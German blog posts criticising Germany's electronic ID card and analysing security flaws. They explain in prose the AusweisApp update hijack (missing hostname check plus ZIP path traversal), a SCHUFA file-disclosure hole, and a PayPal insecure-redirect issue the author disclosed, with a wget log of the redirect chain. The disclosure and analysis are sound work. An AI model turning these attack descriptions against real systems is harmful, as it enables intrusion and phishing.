Nachdem man das rund 50 MB große Paket heruntergeladen und installiert hat, verbraucht das Programm im Leerlauf üppige 130 MB Arbeitsspeicher, sobald es gestartet wurde (was auch eine ganze Weile dauert).

Der „AusweisApp-Hack“

Wie genau funktioniert aber der Angriff auf die AusweisApp, der einen Tag nach dem Erscheinen bekannt wurde?

Weil Software sich schnell weiterentwickelt und oft Fehler nachträglich korrigiert werden müssen, hat die AusweisApp eine eingebaute Updatefunktion. Bei jedem Start fragt die Anwendung bei einem Server nach, ob neue Updates zur Verfügung stehen. Wenn ja, werden diese heruntergeladen und zur Installation angeboten. Damit auf diesem Wege nur echte Updates und nicht z. B. Viren auf den Rechner des Nutzers gelangen, wird für die Update-Prüfung eine gesicherte Verbindung verwendet – die gleiche Technik, die auch beim Onlinebanking genutzt wird und eigentlich sicher ist.

Beim Aufbau einer solchen Verbindung muss der Server ein Zertifikat vorlegen. Die AusweisApp prüft nun, ob das Zertifikat gültig ist, von einer vertrauenswürdigen Stelle ausgestellt wurde und ob es tatsächlich dem Server gehört, mit dem die AusweisApp spricht – aber in der ersten Version prüfte sie nicht den Servernamen, der darin steht. Das kann man sich etwa so vorstellen, dass ein Pförtner den Auftrag hat, nur eine bestimmte Person ins Gebäude zu lassen. Kommt nun jemand an, prüft der Pförtner zwar, ob sein Ausweis echt und noch gültig ist und ob das Foto zur Person vor ihm passt – aber nicht, ob der Name im Ausweis mit dem Namen der Person übereinstimmt, die herein darf. (Der Vergleich mit dem Ausweis ist bildlich gemeint – das Zertifikat hat nichts mit der Ausweisfunktion des ePerso zu tun!)

Ein Angreifer, dem es gelingt, die Verbindung auf seinen eigenen Server umzulenken, kann sich somit gegenüber der AusweisApp in der ersten Version mit seinem eigenen Zertifikat „vorstellen“, und die AusweisApp akzeptiert dies anstandslos. So eine Umleitung ist auf viele Arten möglich, und sobald die Verbindung steht, kann ein Angreifer ein gefälschtes Update übertragen.

Das ist ein Programmierfehler, der zwar vergleichsweise leicht passiert, bei einem solchen Programm aber eigentlich nicht passieren bzw. es zumindest nicht in die fertige Version schaffen sollte. Überraschenderweise hatten die Entwickler jedoch noch eine zweite Sicherheitsebene eingebaut. Die Updates werden in Form einer ZIP-Datei heruntergeladen. Diese wird zunächst entpackt, und im Anschluss wird geprüft, ob das darin enthaltene Installationsprogramm ein gültiges „digitales Siegel“ (eine sogenannte Signatur) trägt. Ist dies nicht der Fall, wird das Paket sofort wieder gelöscht.

Hier schlägt aber ein zweiter Fehler zu: Wer schon einmal mit ZIP-Dateien gearbeitet hat, weiß, dass diese Ordner enthalten können. Der Ordnername „..“ hat im Computer eine besondere Bedeutung – er steht für „eine Ebene höher“. Beim Auspacken der ZIP-Datei bemerkt die AusweisApp nicht, wenn ein Ordner mit einem solchen Namen enthalten ist, und packt den Inhalt entsprechend an einen Ort aus, wo der Angreifer ihn haben will, er aber nicht hingehört. Gelöscht wird auch nur der Inhalt des Verzeichnisses, in welches die Dateien eigentlich entpackt werden sollen. Wenn der Angreifer also eine passende ZIP-Datei liefert, landet  seine Datei, z. B. ein Virus, auf Wunsch im Autostartordner des Computers – und wird, wie der Name schon sagt, beim nächsten Start des Computers automatisch gestartet.

Hat ein Angreifer erst einmal einen Virus auf dem Rechner installiert, befindet sich das System unter vollständiger Kontrolle des Angreifers. Er kann sämtliche Daten kopieren, verändern oder löschen, Onlinebanking-Verbindungen angreifen, Tastatureingaben und Passwörter stehlen und schließlich auch die PIN des Ausweises erfassen, falls der Nutzer diese am Computer eingibt. Die Bildschirmtastatur der AusweisApp vermittelt hier ein trügerisches Gefühl der Sicherheit – genauso wie ein Virus Tastatureingaben protokollieren kann, kann er auch Mausklicks und Bildschirminhalte erfassen.

Auch wenn das BSI behauptet, dass durch diesen Angriff die AusweisApp selbst und die persönlichen Daten auf dem Ausweis nicht gefährdet seien – mit der gestohlenen PIN kann der Angreifer dann selbstverständlich auch den Ausweis nutzen, wenn dieser auf dem Lesegerät liegt, und selbstverständlich kann ein Virus beliebige Software auf dem infizierten Rechner verändern – auch die AusweisApp. Diese Möglichkeiten sind bekannt, seit der CCC im September 2010 einen entsprechenden Angriff vorgestellt hatte. Die Voraussetzung für die sichere Nutzung des Personalausweises ist ein sicherer Rechner – und genau diese Sicherheit hat die erste Version der AusweisApp untergraben.

Der Hinweis, den Ausweis nur aufzulegen, wenn man ihn benutzen möchte, ist ebenfalls Augenwischerei: Für eine missbräuchliche Transaktion braucht ein Virus nur Sekunden.

In der aktualisierten Version der AusweisApp wurde übrigens nicht nur die Lücke geschlossen: Gleichzeitig wurde – im direkten Widerspruch zu den Open-Source-Versprechungen – die Analyse erschwert, indem Teile des Programmcodes verschleiert und unzugänglich gemacht wurden.  Aus welchem Grund das geschah, ist unklar – vielleicht, weil noch andere peinliche Lücken behoben wurden und einen Vergleich der alten und neuen Version verhindern werden soll, vielleicht, um die Aufdeckung weiterer Lücken zu erschweren, oder vielleicht aus ganz anderen Gründen. Die Befürchtung, die AusweisApp könnte einen Bundestrojaner beinhalten, wird diese Maßnahme sicherlich weiter schüren. Wer kein Windows hat, musste sich sowieso noch gedulden: Die aktualisierte Version der AusweisApp für Linux erschien erst über ein halbes Jahr später. Eine Version für MacOS ist für Ende 2011 angekündigt.

Der Nutzen des Ausweises

Was der Ausweis bringen soll, ist bekannt – doch was bringt er tatsächlich?

Der Hauptvorteil für die meisten Bürger dürfte das handlichere Format sein. Das wäre allerdings auch ohne Funkchip, biometrisches Passfoto und (derzeit noch freiwillige) Erfassung der Fingerabdrücke möglich. Für den ePerso ist es also kein Argument.

Die hoheitliche Ausweisfunktion soll die Fälschungssicherheit erhöhen. Allerdings sind Fälschungen deutscher Ausweisdokumente aufgrund der ganz normalen Sicherheitsmerkmale wie Wasserzeichen, Hologramme und Spezialfarben bereits jetzt extrem selten: In der Zeit von Januar 2001 bis September 2007 – also in über fünf Jahren – weist die Polizeistatistik gerade mal 216 Fälle von Fälschungen oder Verfälschungen von Personalausweisen auf, wie die Regierung in einer Antwort auf eine Kleine Anfrage der Linkspartei zugeben musste.

Der zusätzliche Schutz kann außerdem nur dann wirken, wenn der Ausweis zusätzlich zur Sichtkontrolle auch elektronisch geprüft wird. Auch die Fälschungssicherheit ist also kein wirkliches Argument für den ePerso.

Als Hauptvorteil wird meist die Internet-Ausweisfunktion genannt. Damit ein Seitenbetreiber diese nutzen kann, muss er jährlich rund 6000-8000 Euro für die nötigen Systeme zahlen. Je nach dem, was benötigt wird, kann er nun die Identität oder das Alter der Besucher prüfen oder den Besuchern erlauben, sich über den ePerso einzuloggen. Zumindest bei den Nutzern, die einen neuen Ausweis haben, ihre PIN kennen, ein Lesegerät besitzen, eine funktionierende AusweisApp installiert haben und bereit sind, dieses Verfahren auch tatsächlich zu nutzen – andere werden abgeschreckt oder abgewiesen.

Auch wenn eine Identitätsprüfung für den Anbieter natürlich wünschenswert ist, überwiegen doch die Nachteile. Der Kunde hat aus der Nutzung der für ihn umständlichen Identitätsprüfung über den Ausweis gar keinen Vorteil. Im Gegenteil: Im Falle eines Missbrauchs muss er für den Schaden haften.

In einem Bereich macht die eID-Funktion hingegen Sinn: Bei einigen Behörden lassen sich Informationen nun online einholen und Anträge online abgeben, für die man sonst die Behörde besuchen müsste. (Böse Zungen würden sagen, dass der Ausweis nur dort eingesetzt werden kann, wo der „Kunde“ keine Wahl hat.)

Ein Login über den ePerso hätte für den Nutzer den Vorteil, dass er sich keine Passwörter merken muss und gegenüber einem einfachen Login mit Passwort die Sicherheit tatsächlich leicht erhöht wird. Wenn der Ausweis kaputt geht, verloren wird, die AusweisApp nicht richtig funktioniert oder ähnliches, wird aber der Nutzer ausgesperrt – und der Anbieter verliert möglicherweise einen Kunden.

Daher ist auch diese Anwendungsmöglichkeit weit weniger attraktiv, als sie klingt. Außerdem wäre sie – ohne die mit einer staatlichen Lösung verbundene Bürokratie – mit existierenden und bewährten Systemen zu einem Bruchteil des Preises umsetzbar gewesen. Banken haben mit dem ChipTAN-Verfahren sowieso längst ein Verfahren entwickelt, was günstiger, einfacher und sicherer ist.

Eine weitere Anwendung des ePerso ist noch erwähnenswert: Die Altersverifikation. Wie bereits erwähnt kann man über die eID-Funktion nicht nur die Identität, sondern auch nur das Alter belegen – und zwar anonym. Das ist deswegen interessant, weil das deutsche Jugendschutzrecht für nicht jugendfreie Inhalte eine Altersverifikation zwingend vorschreibt. Deutschen (Erotik-)Anbietern ist es so bisher nur schwer möglich, solche Inhalte bereitzustellen. Das soll sich mit dem Ausweis ändern. Angesichts der bereits erwähnten Kosten für den Anbieter ist jedoch fraglich, ob die Situation dadurch wirklich verbessert wird. Statt mit dem ePerso ließe sich das Problem schließlich auch lösen, indem die Jugendschutzregelungen auf ein vernünftiges Niveau zurückgefahren werden. Dem Jugendschutz im Netz würde das nicht schaden – ausländische Anbieter bieten nicht jugendfreie Inhalte schon immer ohne besondere Altersüberprüfung an.

Die Anzahl der Anbieter, die eID nutzen, ist dementsprechend gering: Derzeit sind es laut offizieller Website gerade einmal 30 Stück. Damit ist der Ausweis auch für die Bürger relativ nutzlos, da man ihn nur an wenigen Stellen einsetzen kann. Auch wo der ePerso genutzt werden kann, nimmt kaum jemand die Möglichkeit wahr: Im ersten Jahr nach der Einführung der neuen Ausweise haben bei der deutschen Rentenversicherung gerade einmal 300 Nutzer die eID-Funktion genutzt. Nur ein Drittel der Ausweise ist überhaupt für diese Funktion freigeschaltet.

Die Signaturfunktion wäre zwar nützlich, ist aber einerseits noch nicht nutzbar und kann andererseits auch genauso gut oder besser mit regulären Signaturkarten realisiert werden. Das ELENA-Verfahren, bei welchem zahlreiche Daten über die Tätigkeit von Angestellten zentral erfasst werden, sollte ursprünglich die digitale Signatur zur Abfrage der Daten nutzen. Inzwischen hat die Regierung jedoch eingesehen, dass das Projekt mehr schadet als nutzt und beschlossen, es demnächst einzustellen. Damit haben die meisten Bürger keinen Grund, die elektronische Signatur zu nutzen.

Ohne die anonyme/pseudonyme Altersverifikations- und Loginfunktion hätte man die Ausweisfunktion übrigens auch mit bestehender, günstiger und bewährter Technik (Zertifikatskarten) umsetzen können. Für den wichtigsten Zweck (Identitätsbestätigung, insbesondere gegenüber Behörden) wäre dies völlig ausreichend, das System wäre weltweit kompatibel und es wären kaum Neuentwicklungen nötig. Aber vielleicht ist letzteres ja gerade der Grund, warum dieser Weg nicht gewählt wurde:

Den größten Nutzen vom neuen Personalausweis haben nämlich immer noch die Firmen, die an der Herstellung der Ausweise und der dafür nötigen Geräte beteiligt sind.

Kosten und Wirtschaftsförderung

Vollmundig hat die Regierung angekündigt, dass der neue elektronische Personalausweis den Bürgern endlich Sicherheit im Netz bringen würde. Wenn man sich allerdings im Bekanntenkreis umhört, interessieren sich die Menschen mehr für das handliche Kreditkartenformat.

Der entscheidende „Vorteil“ des Chip-Perso ist jedoch ein anderer: Die Einführung der neuen Technik kommt der Wirtschaft zugute. Die Bundesdruckerei, eine privatisierte GmbH die erst seit 2009 wieder in Staatsbesitz ist, stellt zwar die Ausweise her, die Chips werden aber von der niederländischen Firma NXP sowie dem deutschen Chiphersteller Infineon geliefert. Billig sind solche Chips natürlich nicht, und der Bürger darf zahlen: Statt wie bisher 8 Euro kostet ein Personalausweis nun 28,80 Euro – was bei 6,5 Millionen neuen Ausweisen pro Jahr insgesamt rund 187 Millionen jährlich sind – und somit pro Jahr rund 135 Millionen mehr als bisher.

Die Lesegeräte werden hauptsächlich von den zwei deutschen Unternehmen REINER SCT und SCM Microsystems hergestellt. Um den Einsatz des ePerso zu fördern, hat die Regierung Steuergelder in Höhe von 24 Millionen dafür ausgegeben, rund 1,5 Millionen „Sicherheitskits“ an Unternehmen wie Versicherungen und Zeitschriftenverlage zu verschenken oder verbilligt abzugeben. Diese können die „Sicherheitskits“ dann mit ihren Produkten bündeln und so – mit  Steuergeldern – Werbung für sich machen. Dazu kommen nochmal rund 16 Millionen Einführungskosten, zusammen also 40 Millionen Euro.

Bei den so geförderten Geräten handelt es sich allerdings um die „Basisleser“, welche so unsicher sind, dass Experten von der Nutzung abraten. Diese Geräte in dieser Stückzahl unters Volk zu bringen war also nicht nur eine gigantische Geldverschwendung, sondern auch noch höchst gefährlich. Die Signaturfunktion („qualifizierte elektronische Signatur“) kann auch erst mit den Lesegeräten der höheren Sicherheitsstufe genutzt werden. Diese sogenannten „Komfortlesegeräte“, mit denen der Ausweis erst vollständig genutzt werden kann, haben eine unverbindliche Preisempfehlung von schlappen 159 EUR pro Stück. (Zum Vergleich: Lesegeräte der entsprechenden Sicherheitsklasse für klassische Kontakt-Chipkarten, die nicht per Funk arbeiten, gibt es schon für knapp 40 Euro.)

Apropos Signaturfunktion: Für diese benötigt man ein Signaturzertifikat, welches von einer vertrauenswürdigen Stelle ausgestellt werden muss. Technisch ist das ein relativ anspruchsloser Vorgang – man benötigt lediglich eine sichere Umgebung, in der die verwendeten digitalen Schlüssel nicht gestohlen werden können, und die Identität des Inhabers muss geprüft werden. Das könnte also alles mit minimalem Zusatzaufwand bei der Bundesdruckerei (Erstellung in sicherer Umgebung) und den Bürgerämtern (Identitätsprüfung und Aushändigung) gemacht werden. Könnte – die Ausweise werden ohne Signaturzertifikat ausgeliefert. Dieses kann sich der Bürger dann – für rund 20 Euro pro Jahr – bei einer privaten Zertifizierungsstelle ausstellen lassen. Wahlweise auch auf einer normalen Kontakt-Chipkarte, ein ePerso ist dafür nämlich eigentlich gar nicht nötig.

Eine der größten Hoffnungen im Bezug auf den ePerso ist es jedoch, einen neuen Standard international zu etablieren – in der Hoffnung, dass deutsche Unternehmen dann die entsprechenden Produkte im Ausland anbieten können. Es ist zu befürchten, dass einige Entscheidungen auch mit Blick auf diese Möglichkeit getroffen wurden – auf Kosten der Sicherheit und statt auf existierende und bewährte Lösungen zu setzen. Kontaktlose Chipkarten bieten zwar auch einige Vorteile, bringen dafür aber einiges an Risiken und Komplexität mit sich – und damit natürlich auch Forschung und wirtschaftliches Potential.

Fazit

Wie viele staatliche IT-Großprojekte ist auch der elektronische Personalausweis gescheitert. Die Sicherheit entspricht nicht den Anforderungen, die ein solches Projekt erfüllen müsste – was man auch an der erheblichen Sicherheitslücke in der AusweisApp sieht, die direkt nach der Veröffentlichung aufgedeckt wurde.

Der elektronische Ausweis bietet Lösungen, wo es keine Probleme gibt: Er soll die Fälschungssicherheit eines Dokuments erhöhen, was als eines der fälschungssichersten weltweit gilt. Er soll die elektronische Signatur ermöglichen, die längst möglich ist. Lediglich die Ausweisfunktion ist neu – und die Teile davon, die wirklich nötig wären, hätte man auch mit bestehender Technik einfacher haben können.

Der Nutzen für die Bürger hält sich in Grenzen: Behördengänge sind bei einigen wenigen Behörden online möglich, ansonsten kann der Ausweis kaum irgendwo genutzt werden. Die Akzeptanz ist gering, selbst wo der Ausweis genutzt werden kann, tun das nur sehr wenige Nutzer. Neben den bekannt gewordenen Sicherheitslücken verursacht der Ausweis neue Gefahren. Bei Onlineeinkäufen könnte er das Risiko vom Händler auf die Kunden verlagern, und er bietet gegenwärtigen und zukünftigen Regierungen ein mächtiges Instrument, um anonyme Meinungsäußerung im Internet zu unterdrücken – entsprechende Wünsche werden vor allem aus Reihen der Union auch regelmäßig geäußert.

Die Einführung des neuen elektronischen Personalausweises hat viel Geld gekostet. Angesichts der offensichtlichen Wünsche, ein exportierbares Produkt zu entwickeln, wird deutlich, dass Wirtschaftsförderung zumindest ein Grund für die Einführung war – wenn nicht sogar der Hauptgrund, hinter dem andere Aspekte zurücktreten mussten. Der Großteil der Kosten aber fällt ständig mit der Ausstellung neuer Ausweise an – und muss über die Ausstellungsgebühren direkt von den Bürgern getragen werden. Da die jährlichen Kosten die Einführungskosten massiv übersteigen, ist es nie zu spät, das Projekt einzustampfen, und wieder chipfreie Ausweise auszugeben. Den für die Bürger größten Vorteil des neuen Personalausweises kann man dabei sogar beibehalten: Das handliche Kreditkartenformat.

Für die Wirtschaft bleibt ja noch der ePass, die elektronische Gesundheitskarte, DE-Mail, ggf. eine Neuauflage von ELENA, und sicher noch andere „sinnvolle“ Projekte…

Einschätzung des SCHUFA-Hacks

2011-06-13 10 Kommentare

Wie Gulli berichtet und die Piratenpartei kommentiert hat, wurde die SCHUFA gehackt (in den Kommentaren bei Gulli gibts/gab es Details). Zunächst betraf das „nur“ den Webserver. Die Lücke bestand laut Beschreibung im Gulli-Forum darin, dass das Skript, was Dateien wie Formulare zum Download ausgeliefert hat, den Download beliebiger Dateien von der Platte des Servers erlaubte. Da die eigentliche SCHUFA-Datenbank natürlich hoffentlich nicht auf diesem Webserver liegen dürfte, ist in der Theorie erstmal keine unmittelbare Gefahr gegeben, weil man über die Lücke ja „nur“ Dateien auf diesem Server herunterladen kann. Diese Position vertritt natürlich auch die SCHUFA, ein Datenleck zuzugeben wäre für ihr Geschäft nicht gerade förderlich.

Der Angreifer konnte also mehr oder weniger beliebige Dateien vom Server herunterladen. So ein Fehler in einer Webanwendung ist ein ziemlicher Anfängerfehler, der auf so einem kritischen Server eigentlich nicht passieren darf. (Das sieht der Experte der Tagesschau übrigens genauso.) Wie schon bei der kaputten SSL-Implementierung bei der AusweisApp sieht man, dass die Annahme „so doof können die nicht sein“ keine Garantie dafür ist, dass in einer kritischen Anwendung solche dummen Fehler wirklich nicht vorhanden sind. Dass es dem kaputten Skript wohl auch möglich war, auf Dateien außerhalb des eigentlichen Websiteverzeichnisses zuzugreifen, deutet außerdem darauf hin, dass mit der Rechte- und Benutzerkontenverwaltung auf dem Server auch eher „locker“ (lies: schlampig und ohne wirklich auf Sicherheit Wert zu legen) umgegangen wurde. Daran, dass für die Schufa Datenschutz und Datensicherheit „seit jeher eine hohe Priorität“ hätten, lässt es genauso zweifeln wie am Sicherheitszustand des restlichen Netzes bei der SCHUFA.

Das wird in dem Moment wichtig, wenn man sich klar macht, auf was für Daten mit der Lücke Zugriff möglich war: Der Server muss irgendwie auf die SCHUFA-Datenbank im Hintergrund zugreifen können. Natürlich wäre es möglich, dass hier irgendein ausgeklügeltes Verfahren genutzt wird, bei dem der Zugriff erst freigegeben wird, wenn der sichere Server am anderen Ende das Login des Kunden geprüft hat. Angesichts der oben genannten Punkte halte ich es jedoch für sehr unwahrscheinlich. Am Wahrscheinlichsten ist es, dass irgendwo auf dem gehackten Webserver die Zugangsdaten für die Datenbank im Klartext herumlagen und darüber die Datenbank ausgelesen werden kann. Ein Angreifer konnte diese Zugangsdaten höchstwahrscheinlich mit vertretbarem Aufwand (configdatei finden) bekommen.

Wenn die Schufa schlau genug war, den Datenbankserver hinter eine Firewall zu stellen (so blöd, es nicht zu tun, kann man eigentlich nicht sein, aber siehe oben), bringen diese Zugangsdaten dem Angreifer aber zunächst nichts, weil er sich zu dem Server gar nicht verbinden kann – das ist dann aber die letzte verbleibende Hürde. Gelingt es ihm, z. B. über vom Webserver geklaute Passwörter in den Webserver einzudringen, oder in einen beliebigen anderen Rechner im Netz der SCHUFA, der auch Zugriff auf den Datenbankserver hat (das könnte eingeschränkt sein – könnte…), kann er sich an der Datenbank bedienen. Vielleicht stehen da „nur“ die Daten der Leute an, die meineschufa.de nutzen, es ist aber mindestens genauso wahrscheinlich, dass der Angreifer sich dann beliebige SCHUFA-Datensätze anschauen und herunterladen kann. Solche Angriffe auf weniger gesicherte „unwichtige“ Rechner, um sie als Brücke ins Netz zu benutzen, sind üblich und bei vielen Angriffen wie z. B. dem auf Google beobachtet worden. Über weitere Angriffe mit dieser Lücke als Einstiegspunkt dürfte also vieles möglich sein.

Selbst wenn mehr Schutzmaßnahmen getroffen würden – wenn es einem Angreifer gelingen würde, den offensichtlich mies gesicherten Webserver komplett zu übernehmen, könnte er zumindest die darüber laufenden Daten abfangen, also die Daten derjenigen, die meineschufa.de nutzen, während der Angreifer Zugriff hat. Die Lücke wurde zwar als „Local file inclusion“ bezeichnet, da die Dateien aber scheinbar so wie sie auf der Platte lagen ausgeliefert wurden und PHP-Skripte nicht geparst wurden, würde ich eher von „Local file disclosure“ sprechen. Das ist insofern etwas weniger gefährlich, als über diese Lücke vermutlich wenigstens „nur“ Daten ausgelesen, aber keine Programme auf den Server geschleust werden können. Andere Lücken, die das (und damit die Übernahme des Servers) erlauben, könnten jedoch durchaus existieren.

Meiner Meinung nach kann man die Situation also folgendermaßen zusammenfassen:

  • Der Server wurde gehackt, das hat die SCHUFA bestätigt
  • Die Sicherheit lässt sehr zu wünschen übrig
  • Die SCHUFA-Daten konnten vermutlich nicht direkt ausgelesen werden, aber
  • ich halte es für wahrscheinlich, dass ein Angreifer mit etwas Mühe gute Chancen gehabt hat, auch an die SCHUFA-Daten selbst zu kommen.

Jetzt stellt sich natürlich die Frage: Was nun? Zunächst muss natürlich die Lücke selbst geschlossen werden. Indem die SCHUFA das kaputte Download-Skript gelöscht hat, ist diese Gefahr vorerst gebannt. Dann müssen auch alle potentiell betroffenen Zugangsdaten für die Datenbank und sonstige Server geändert werden – denn sonst könne ein Angreifer die vor kurzem gestohlenen Daten in ein paar Wochen, nachdem die eigentliche Lücke schon geschlossen ist, nutzen, um die Datenbank auszulesen. Hier müssen wir hoffen, dass die SCHUFA sich nicht die Mühe spart und darauf verzichtet, „weil man ja von außen eh nicht an die Datenbank drankommt“. Schließlich – und das ist der schwierigste Teil – muss anhand von Logs geprüft werden, ob die Lücke bereits missbraucht wurde, und wenn z. B. Zugangsdaten gestohlen wurden, ob diese missbraucht wurden. Ich bezweifle, dass es ausreichend weit zurückreichende Logs geben wird, um das für die Zeit seit Bestehen der Lücke ausschließen zu können. Somit dürfte nicht eindeutig zu klären sein, ob Daten geklaut wurden oder nicht. Ganz abgesehen davon muss die SCHUFA natürlich massiv an der Sicherheit ihrer Server arbeiten.

Eines muss man der SCHUFA (bisher) jedoch zugute halten: Sie hat soweit ich weiß nicht versucht oder gedroht, dem ehrlichen Hacker, der die Lücke gemeldet hat, irgendeine Form von Ärger zu machen. Das ist eigentlich eine Selbstverständlichkeit und liegt im Interesse der betroffenen Firma – ehrliche Hacker, die Lücken melden, helfen die Sicherheit zu verbessern. Würde eine Firma einen solchen Hacker bedrohen, werden andere dadurch a) wütend b) angesport weitere Lücken zu finden vor allem c) auf gefundene Lücken nicht hinweisen, sondern sie veröffentlichen oder nutzen um Schaden anzurichten – und das ganze natürlich so, dass sie nicht zurückverfolgt werden können. Leider kommen solche Drohungen immer noch viel zu oft vor.

Der Vorfall zeigt auch einige interessante Probleme auf:

Sicherheit kann nicht nachgerüstet werden. Die Sicherheit muss bereits bei der Entwicklung von Software bedacht werden – nachträgliche Tests und Überprüfungen sind sinnvoll, können das aber nicht ersetzen. Irgendwas wird immer übersehen. Hier haben die Entwickler offenbar nicht ausreichend über Sicherheit nachgedacht, als sie das Downloadsystem entwickelt haben. Das ist gerade in einem solchen sicherheitskritischen Bereich eigentlich völlig inakzeptabel.

Datenschutz lohnt sich nicht. Es gibt keine empfindlichen Strafen, wenn jemand Daten nicht ausreichend schützt. Natürlich ist es nicht gut für den Ruf und fürs Geschäft, wenn solche Lecks passieren, aber das scheint als Motivation nicht auszureichen. Würden für Datenlecks Strafen von ein paar Euro pro Datensatz drohen, wäre gerade bei große Datenbanken die Absicherung plötzlich finanziell sehr attraktiv.

In kritischen Bereichen wird massiv geschlampt. Selbst bei so kritischen Servern wie in diesem Fall bei der SCHUFA wird an der Sicherheit gespart und es werden grobe Fehler gemacht. Wie viele andere wichtige Systeme genauso schlecht gesichert sind? Hier sei exemplarisch nur auf SCADA verwiesen, die Industriesteueranlagen, die von der Chemiefabrik bis zum Atomkraftwerk alles Mögliche kontrollieren und meist auf völlig veralteter Software laufen, mit kaum vorhandenen Sicherheitsmaßnahmen (siehe Vortrag auf einem CCC-Kongress).

Sicherheitslücke bei PayPal eine Woche lang offen

2010-12-27 6 Kommentare

Anfang Dezember, am 9.12., habe ich morgens gegen 10 eine Sicherheitslücke bei Paypal entdeckt. Obwohl der Laden es eigentlich nicht verdient hat (nicht nur weil sie Wikileaks das Konto gesperrt haben, sondern z. B. deswegen weil sie gerne mal ohne wirklichen Grund Konten willkürlich einzufrieren und sich dann zu weigern, vor Ablauf von 6 Monaten das Geld freizugeben).

Das Problem war, dass man innerhalb der (HTTPS-geschützten) Paypal-Seite über ungeschützte Seiten weitergeleitet wurde – was ein Angreifer prompt hätte ausnutzen können, um ein Opfer auf eine Phisingseite umzuleiten, nachdem es die gesicherte Paypal-Seite erreicht hat.

Obwohl Paypal mir noch am 9. gegen 18 Uhr bestätigte, meine Mail bekommen zu haben und sich um das Problem zu kümmern, wurde die gefährliche Umleitung erst am 16.12., also eine Woche später, in den frühen Morgenstunden behoben. (Ein paar Tage zuvor wurde schon die Umleitung von Paypal.com auf paypal-deutschland.de aufgehoben, wenn ich es richtig in Erinnerung habe.) Wie lange die Lücke vor meiner Entdeckung offen war weiß ich natürlich nicht, aber das können nochmal Wochen oder Monate gewesen sein.

Besonders peinlich daran war, dass die Umleitung über irgendeinen Werbeserver eines Drittanbieters erfolgte, vermutlich also nur gemacht wurde, um Statistiken zu sammeln beziehungsweise das Nutzerverhalten zu verfolgen. Die Lücke hätte eigentlich innerhalb von weniger als einer Stunde behoben sein müssen. Angesichts der Größe von Paypal und der Tatsache dass es sich um einen Zahlungsdienstleister handelt, hätte ich ehrlich gesagt erwartet, dass die Lücke innerhalb einer Stunde nach meiner Mail weg ist – und nicht, dass allein die Eingangsbestätigung rund 8 Stunden dauert. (Gemeldet hatte ich das an eine spezielle Adresse zum Melden von Sicherheitslücken).

Es wird aber noch besser: Dass es gefährlich ist, Teile von kritischen Websites ohne SSL laufen zu lassen, ist hinreichend bekannt, und wurde z. B. von Moxie Marlinspike vor Jahren demonstriert. Die Reaktion von PayPal auf seine Entdeckung: Sie haben sein PayPal-Konto gesperrt und sein Geld darauf eingefroren (lies: erstmal behalten).

 

Technische Details der Lücke

Für Interessierte hier nocheinmal die ganzen schmutzigen technischen Details:

Wenn man mit einem auf deutsch eingestellten Browser auf http://www.paypal.com ging (und die Seite gerade nicht erfolgreich von 4chan geddost wurde), wurde man auf https://www.paypal-deutschland.de/ umgeleitet. Wie es sich für einen Zahlungsdienstleister gehört wurde dabei SSL eingesetzt, wenn auch das Zertifikat dem PayPal-Ableger in Singapur gehört, obwohl die Seite laut Impressum von PayPal Europe (Luxemburg) betrieben wird.

Der Login-Knopf (Ergänzung: der Knopf der einen zum Login-Formular bringt, also kein Knopf zum Absenden der Logindaten) zeigte auf

https://www.paypal-deutschland.de/mediaPlexLink.html?url=https%3A%2F%2Fwww.paypal.com%2Fde%2Fcgi-bin%2Fwebscr%3Fcmd%3D_login-run&id=3484-46780-8030-58%3FID%3D11

Wenn man diese URL nun aufgerufen hat, sah das so aus (Hervorhebung von mir. Die SSL-Warnung liegt nur daran dass mein wget nicht richtig konfiguriert ist):

--04:07:37--  https://www.paypal-deutschland.de/mediaPlexLink.html?url=https%3A%2F%2Fwww.paypal.com%2Fde%2Fcgi-bin%2Fwebscr%3Fcmd%3D_login-run&id=3484-46780-8030-58%3FID%3D11
           => `nul'
Resolving www.paypal-deutschland.de... 62.168.214.18
Connecting to www.paypal-deutschland.de|62.168.214.18|:443... connected.
WARNING: Certificate verification error for www.paypal-deutschland.de: unable to get local issuer certificate
HTTP request sent, awaiting response... 302 Moved Temporarily
Location: http://altfarm.mediaplex.com/ad/ck/3484-46780-8030-58?ID=11 [following]
--04:07:37--  http://altfarm.mediaplex.com/ad/ck/3484-46780-8030-58?ID=11
           => `nul'
Resolving altfarm.mediaplex.com... 89.207.18.81
Connecting to altfarm.mediaplex.com|89.207.18.81|:80... connected.
HTTP request sent, awaiting response... 302 Moved Temporarily
Location: http://mp.apmebf.com/ad/ck/3484-46780-8030-58?ID=11&host=altfarm.mediaplex.com [following]
--04:07:37--  http://mp.apmebf.com/ad/ck/3484-46780-8030-58?ID=11&host=altfarm.mediaplex.com
           => `nul'
Resolving mp.apmebf.com... 89.207.18.80
Connecting to mp.apmebf.com|89.207.18.80|:80... connected.
HTTP request sent, awaiting response... 302 Found
Location: http://altfarm.mediaplex.com/ad/ck/3484-46780-8030-58?ID=11&no_cj_c=1&upsid=868592930557 [following]
--04:07:38--  http://altfarm.mediaplex.com/ad/ck/3484-46780-8030-58?ID=11&no_cj_c=1&upsid=868592930557
           => `nul'
Connecting to altfarm.mediaplex.com|89.207.18.81|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 424 [text/html]

    0K                                                       100%   15.56 MB/s

04:07:38 (15.56 MB/s) - `nul' saved [424/424]

Man wird also über mehrere unverschlüsselte Webseiten weitergeleitet. Die letzte liefert dann eine HTML-Seite aus, die einen wieder zurück zu einer HTTPS-gesicherten Paypal-Seite bringt.

Ein Angreifer mit gewisser Kontrolle über die Internetverbindung konnte also die Auslieferung der ungesicherten Seiten manipulieren und so das Opfer auf eine Phishingseite umlenken. Wenn ein Opfer vor dem Anklicken des Login-Links das Zertifikat (und dann nicht mehr) geprüft hat, wähnte es sich in Sicherheit (denn von einer sicheren Seite sollte man nicht unsicher umgeleitet werden), obwohl aufgrund dieses Fehlers Gefahr bestand.

AusweisApp gehackt (Malware über Autoupdate)

2010-11-09 194 Kommentare

